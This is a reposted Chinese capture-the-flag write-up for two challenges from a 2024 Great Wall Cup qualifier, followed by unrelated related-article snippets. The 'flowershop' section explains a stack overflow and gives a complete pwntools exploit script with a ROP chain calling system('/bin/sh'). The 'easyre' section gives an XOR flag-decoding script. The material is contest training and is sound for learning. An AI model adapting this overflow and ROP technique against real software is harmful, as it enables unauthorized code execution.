2024i春秋第四届长城杯网络安全大赛暨京津冀网络安全技能竞赛初赛wp-flowershop+easyre

news2024/12/26 16:27:38

flowershop

在这里插入图片描述

如图所示,v8是钱的数量,strncpy从src复制三个字符给dest的数组里,最后一个元素是0,相当于字符串截断,strcmp是比较c和dest中的内容,如果相等就不会exit(0);双击c进去看,c是字符串“pwn”,所以我们在read溢出的时候,把src覆盖成”pwn/x00”就可以绕过检测,后面的v8就可以随便覆盖八字节,充值任意的钱数。

接下里我们再进行购物,可见shop传入的v5有三个元素,我们再进shop函数看看:
通过分析就可以看到,这三个元素对应了每个商品购买的数量,每次买一个商品,对应的元素就会加1,每件商品最多买8个

此时末位有个read,很可能就是我们要溢出的漏洞,但是参数v4可控未知,所以往前可看check函数做了什么,显然通过分析这就是满足买了两件a商品和1件b商品的时候就可以给a2指针赋值为70,指向的就是v4,这样shop函数的buf只有10字节,但是read可以输入70字节,就达到了溢出攻击条件

在这里插入图片描述

所以最后我们通过购买c商品,达到给magic赋值”/bin/sh”的目的,所以条件已达成,

在这里插入图片描述

值得注意的是最后赋值钱的时候八字节的最高位不能是1,因为这是符号位,如果是1就是复数了,最后read也不一定要追加到70个字节,能溢出执行system即可了。

from pwn import *
#p=remote("8.147.134.241",24158)
p=process("./pwn")
system=0x400D7A
magic=0x601840
pop_rdi=0x400f13
ret=0x4006f6
payload=b'a'*52+b'pwn\x00'+b'\xff\xff\xff\x7f\xff'
p.send(payload)
p.recvuntil("你的选项:")
p.sendline("a")
p.recvuntil("商品序号:\n")
p.sendline("a")
p.sendline("1")

p.recvuntil("商品序号:\n")
p.sendline("a")
p.sendline("1")

p.recvuntil("商品序号:\n")
p.sendline("b")
p.sendline("1")

p.recvuntil("商品序号:\n")
p.sendline("c")

payload=(b'a'*24+p64(pop_rdi)+p64(magic)+p64(system))
p.recvuntil('1/0')
p.sendline(payload)

p.interactive()

ps:我用的是IDA8.3free版本

easyre

flag=[0x0A, 0x0D, 0x06, 0x1C, 0x1D, 0x05, 0x05, 0x5F, 0x0D, 0x03, 
  0x04, 0x0A, 0x14, 0x49, 0x05, 0x57, 0x00, 0x1B, 0x19, 0x02, 
  0x01, 0x54, 0x4E, 0x4C, 0x56, 0x00, 0x51, 0x4B, 0x4F, 0x57, 
  0x05, 0x54, 0x55, 0x03, 0x53, 0x57, 0x01, 0x03, 0x07, 0x04, 
  0x4A, 0x77]
     
for i in range(len(flag)-1,-1,-1):
    flag [i]^= flag [(i+1)%len(flag)]
    
print(bytes(flag))

分析算法异或运算,提取数据
在这里插入图片描述

这段代码使用了C语言和汇编语言的混合语法,通常用于底层编程,比如逆向工程或者对性能要求很高的应用。这段代码可能来自一个编译后的二进制文件,并且很可能是针对x86-64架构的,因为它使用了诸如_mm_movemask_epi8等内联汇编的SSE指令。
代码分析:

  1. 函数签名:
    o __fastcall:这是一个调用约定,它将前两个参数放在寄存器中(RCX, RDX),而不是在堆栈上。
    o main:这是程序的入口点,不过这里被修改为__fastcall调用方式。
    o argc、argv、envp:这是标准的main函数参数,分别表示参数数量、参数值以及环境指针。
  2. 变量:
    o v3:一个指向__m128i类型的指针,这是一种128位的SIMD寄存器数据类型,通常用于SSE(流式SIMD扩展)。
    o v4、i、v6:64位整数变量,用于循环和其他操作。
  3. 逻辑流程:
    o 如果命令行参数的数量小于等于1,程序将退出(argc <= 1)。
    o v3被初始化为指向第一个命令行参数(argv[1]),接下来程序准备进行一些SIMD操作。
    o 一个循环运行43次,每次通过异或(XOR)操作对__m128i寄存器v3中的每个字节进行处理,这看起来像是一种混淆或加密操作。
    o 循环结束后,程序使用SIMD指令(_mm_cmpeq_epi8和_mm_and_si128)进行比较,将v3的内容与特定内存位置(xmmword_140021410和xmmword_140021400)的值进行比对。
    o 如果比较成功,程序调用函数sub_1400011A0并将结果传递给另一个函数sub_1400015A0。
    观察:
    • 这段代码似乎是在检查输入(可能是命令行参数)是否与某个特定值相匹配,可能是用于验证密码或者在某种挑战中验证flag。
    • SIMD指令的使用表明,该比较操作经过优化,能够一次性比较多个字节,提升性能。
    • 虽然函数sub_1400011A0和sub_1400015A0的定义没有给出,但它们可能与验证过程有关,可能在输入匹配时显示某些信息。

在这里插入图片描述

在这里插入图片描述

复盘
全wp

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2120864.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Pr:新建序列 - 设置

在“新建序列”对话框中&#xff0c;“设置” Settings选项卡的主要用途是选择预设或手动配置序列的参数&#xff0c;以确保与用户的素材和输出需求相匹配。 可以根据项目的具体要求自定义序列中的视频和音频格式&#xff0c;包括帧速率、分辨率、工作色彩空间、音频采样率等以…

nvm install 16.14.1报错“Node.js v16.14.1 is not yet released or available.”

原因&#xff1a; 使用命令nvm ls available&#xff0c;结果列出的可供下载的版本列表为空&#xff0c;这就是原因了 解决办法&#xff1a;修改镜像 nvm node_mirror https://npmmirror.com/mirrors/node/ nvm npm_mirror https://npmmirror.com/mirrors/npm/ 结果&#xf…

基于SpringBoot+Vue+MySQL的校园生活服务平台

系统展示 用户前台界面 管理员后台界面 系统背景 二十一世纪互联网的出现&#xff0c;改变了几千年以来人们的生活&#xff0c;不仅仅是生活物资的丰富&#xff0c;还有精神层次的丰富。在互联网诞生之前&#xff0c;地域位置往往是人们思想上不可跨域的鸿沟&#xff0c;信息的…

springboot优雅停机无法关闭进程,kill无法停止springboot必须kill -9,springboot线程池使用

背景最近项目在jenkins部署的时候发现部署很慢&#xff0c;查看部署日志发现kill命令执行后应用pid还存在&#xff0c;导致必须在60秒等待期后kill -9杀死springboot进程 应用环境 springboot <dependency><groupId>org.springframework.boot</groupId>&l…

u盘怎么制作win10启动盘_win10启动盘制作详细教程

u盘怎么制作win10启动盘&#xff1f;制作win10启动盘方法有很多&#xff0c;有官方制作方法&#xff0c;有第三方u盘启动盘制作方法&#xff0c;下面小编就教大家制作win10启动盘详细教程。 u盘怎么制作win10启动盘&#xff1f; 制作win10启动通常有两种方法&#xff1a;直接安…

带有HSE组件的S32系列芯片中各子系统如何依次启动?

《S32系列芯片——Boot详解》系列——带有HSE组件的S32系列芯片中各子系统如何依次启动&#xff1f; 一、各子系统的重置释放顺序二、启动流程2.1 安装启动过程2.2 正常启动流程 博主已开通同名公众号&#xff0c;通过文末或主页二维码关注博主&#xff0c;将为你推送最新、最细…

音乐网站-前后台登录注册搜索试听下载评论音乐分计算机毕业设计/springboot/javaWEB/J2EE/MYSQL数据库/vue前后分离小程序

1. 前台功能模块 首页&#xff1a; 展示热门音乐、推荐音乐、最新发布。搜索框&#xff1a;支持音乐、专辑、艺人等的搜索。用户登录/注册入口。 用户注册和登录&#xff1a; 用户注册&#xff1a;输入用户名、密码、邮箱等信息。用户登录&#xff1a;输入用户名和密码。密码找…

如何在NXP源码基础上适配ELF 1开发板的PWM功能

本次源码适配项目是在NXP i.MX6ULL EVK评估板所搭载的Linux内核源码&#xff08;特定版本为Linux-imx_4.1.15&#xff09;基础上进行的&#xff0c;主要目标是通过调整功能接口引脚配置&#xff0c;使其适应ELF 1开发板。为了深入阐述这一适配过程&#xff0c;我们将以PWM功能的…

浏览器百科:网页存储篇-IndexedDB应用实例(十二)

1.引言 在现代Web开发中&#xff0c;IndexedDB作为一种强大的客户端存储技术&#xff0c;越来越受到开发者的青睐。它不仅能够存储大量结构化数据&#xff0c;还提供了高性能的查询和事务支持。在前面的文章中&#xff0c;我们已经详细介绍了IndexedDB的基本概念、使用方法以及…

RocketMQ 5.0简介

一、概述 Apache RocketMQ 自诞生以来&#xff0c;因其架构简单、业务功能丰富、具备极强可扩展性等特点被众多企业开发者以及云厂商广泛采用。历经十余年的大规模场景打磨&#xff0c;RocketMQ 已经成为业内共识的金融级可靠业务消息首选方案&#xff0c;被广泛应用于互联网、…

机器学习 第9章 聚类

目录 聚类任务性能度量距离计算原型聚类k均值&#xff08;K-Means&#xff09;算法学习向量量化 (LVQ)高斯混合聚类 密度聚类层次聚类 聚类任务 聚类是机器学习中一种重要的无监督学习方法&#xff0c;其目的是将数据集中的数据分成不同的聚类或组&#xff0c;使得同一簇内的样…

GenBook RK3588一款模块化开源ARM笔记本电脑,具有高达32GB内存和模块化扩展功能

GenBook RK3588 是一款以瑞芯微(Rockchip)RK3588为核心的开源笔记本电脑。这款功能强大的CPU集成了4个Cortex-A76、4个Cortex-A55内核和4个Mali G610 图形内核。具有6 TOPS算力的集成 NPU 单元可以有意义地提升本地机器学习任务。这款流行的新芯片允许用户使用许多流行的开源操…

c#进度条实现方法

在使用c#做WinFrom开发时&#xff0c;经常会用到进度条&#xff08;ProgressBar&#xff09;。那么如何才能实现winfrom进度条及进度信息提示呢&#xff1f; 方法一&#xff1a;多线程 使用c#做WinFrom开发&#xff0c;要实现进度条效果就需要用到多线程&#xff0c;如果不采…

【Burpsuite】使用宏更新header(如token)

我们有这样一个网站&#xff0c;登录完成之后&#xff0c;后续的每个请求都会带上jwt&#xff08;json web token&#xff09;去访问接口信息 此时&#xff0c;我们希望实现这样一个功能&#xff1a;当我没有带token或者token过期时&#xff0c;能够自动刷新token。那么就要用到…

C++的STL标准模板库容器--string类

目录 浅浅介绍一下什么是STL&#xff1a; string类需要知道的小知识 auto和范围for&#xff1a; string类的常用接口&#xff1a; 实现一个string类&#xff1a; 1. 成员变量和构造函数&#xff0c;拷贝构造&#xff0c;析构函数 2. string类对象的容量操作 <1>si…

书生浦语三期实战营 [进阶] 茴香豆:企业级知识问答工具实践闯关任务

茴香豆&#xff1a;企业级知识问答工具实践闯关任务 1 Web 版茴香豆 1.1 创建 Web 版茴香豆账户和密码 登录 https://openxlab.org.cn/apps/detail/tpoisonooo/huixiangdou-web&#xff0c;可以看到 Web 版茴香豆的知识库注册页面&#xff0c;在对应处输入想要创建的知识库名…

Spring Cloud 搭建 Gateway 网关与统一登录模块:路径重写、登录拦截、跨域配置

文章目录 一、项目结构项目依赖 二、搭建 Gateway 服务1. 配置 Gateway2. 配置跨域 三、统一登录模块1. 配置 Spring Security2. 创建 Security 配置3. 实现认证过滤器 四、总结 博主介绍&#xff1a;全网粉丝10w、CSDN合伙人、华为云特邀云享专家&#xff0c;阿里云专家博主、…

SpringBoot教程(二十八) | SpringBoot集成Elasticsearch(Java High Level Rest Client方式)

SpringBoot教程&#xff08;二十八&#xff09; | SpringBoot集成Elasticsearch&#xff08;Java High Level Rest Client方式&#xff09; 前言添加maven依赖yml配置ElasticsearchConfig 连接配置类EsUtil 工具类开始测试 前言 由ES官方提供&#xff0c;代码语法和DSL语法相似…

UEFI——获取UEFI MemoryMap

一、MemoryMap简介 首先讲一下什么是MemoryMap&#xff1f; 内存映射&#xff08;Memory Mapping&#xff09;是一种将文件内容映射到进程的虚拟地址空间的技术。在这种机制下&#xff0c;文件可以视为内存的一部分&#xff0c;从而允许程序直接对这部分内存进行读写操作&…

电动车乱停放识别摄像头

电动车乱停放是城市交通管理中常见的问题&#xff0c;给道路通行和停车场管理带来了诸多困扰。为了有效解决这一问题&#xff0c;人们研发了电动车乱停放识别摄像头&#xff0c;这种设备结合了人工智能技术和监控摄像技术&#xff0c;能够实时监测并识别电动车乱停放情况&#…